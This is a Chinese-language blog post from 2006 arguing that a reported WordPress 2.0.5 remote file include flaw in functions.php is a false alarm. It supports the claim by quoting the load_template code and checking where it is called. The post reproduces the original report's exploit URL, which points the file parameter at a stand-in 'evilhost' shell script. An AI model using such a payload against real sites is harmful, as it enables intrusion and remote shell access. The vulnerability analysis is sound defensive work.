Wordpress 2.0.5 Remote File Include Vulnerability
2006-11-21 18:21
有在留意安全消息的人, 最近可能會看到這個標題然後嚇一跳 -
『 Wordpress functions.php remote file include vulnerability 』
ex: http://www.securityfocus.com/bid/21004
啥 !? Wordpress 這麼多人用的 blog 系統,
連最新的 2.0.5 都還有這麼大的洞洞 !?
原發表者指出可以用
http://www.target.com/wp-includes/functions.php?file=http://evilhost/shell.txt
讓 server 去執行遠端的檔案,
理論上如果成立的話就可以直接拿到 shell .
........ !!
哈, 免驚, 其實這是個芭樂 !
仔細看一下 wp-includes/functions.php ,
2166 function load_template($file) {
2167 global $posts, $post, $wp_did_header, $wp_did_template_redirect, $wp_query,
2168 $wp_rewrite, $wpdb;
2169
2170 extract($wp_query->query_vars);
2171
2172 require_once($file);
2173 }
我猜原發表者大概是用一些 code scanner 去掃,
看到 require_once($file) , 而 $file 又是一個 tainted variable ,
就很高興的發表 Bugtraq .....
但其實這根本不會受影響 !
因為 $file 是包在 function load_template 裡面 ,
所以處理該檔案時並不會直接執行到這個 function ,
一定是有 call 時才會跳進來跑 ,
(如果不是包在 functoin 裡, 那也要 register_global = On 才會動,
但現在會這樣開的主機應該很少了吧 :p )
而 grep -r load_template . 的結果,
會看到所有呼叫這個 function 的參數, 都沒有任何由使用者端輸入的變數,
因此就不用擔心啦 :)
這裡 也提到了, 只是個芭樂.
PHP < 5.2.0 Buffer Overflows in htmlspecialchars() and htmlentities()bestcrypt
.Vulnerability 類別的文章 :
PHP < 5.2.0 Buffer Overflows in htmlspecialchars() and htmlentities()Word 再爆 0day
1 則留言 新增留言
1. Kuon | November 21st, 2006 at 22:30
有興趣的朋友可以參考這篇. http://x-solve.com/blog/?p=71
雖然說, bugtraq是有審查制, 但是只是根據發佈的文章做審查, 而不是全部的通報都有實際測試是否有弱點.
所以烏龍案例一堆:)
新增留言
訂閱這則留言的 RSS Feed